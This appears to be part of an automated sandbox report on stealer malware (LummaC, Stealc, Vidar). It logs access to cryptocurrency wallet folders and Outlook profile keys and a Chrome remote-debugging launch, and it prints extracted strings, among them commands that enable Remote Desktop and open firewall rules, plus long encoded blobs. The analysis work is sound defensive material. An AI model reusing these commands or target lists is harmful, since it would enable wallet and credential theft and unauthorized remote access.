Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1929031558.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2986018163.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1815023026.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1928918282.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1813854791.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1897446252.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Anv6Gbh51e.exe PID: 2692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Yg1HwMX.exe PID: 3408, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Anv6Gbh51e.exe PID: 2692, type: MEMORYSTR
Source: Yara match	File source: 21.2.Yg1HwMX.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Yg1HwMX.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.Yg1HwMX.exe.3969550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Anv6Gbh51e.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2231702141.0000000000361000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2983153667.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Yg1HwMX.exe PID: 3408, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000007.00000003.2246908539.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2569237945.00000000009E1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2568280918.000000000056E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: XK9L90SC7AOEFMV7ZL8Q53257L.exe PID: 1772, type: MEMORYSTR

Contains functionality to start a terminal service

Source: Anv6Gbh51e.exe, 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Anv6Gbh51e.exe, 00000000.00000003.2195372766.00000000055BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe	String found in binary or memory: net start termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe, 00000004.00000002.2205881368.0000000000791000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: net start termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe, 00000004.00000002.2205881368.0000000000791000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe, 00000004.00000000.2195594566.0000000000791000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: net start termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe, 00000004.00000000.2195594566.0000000000791000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d 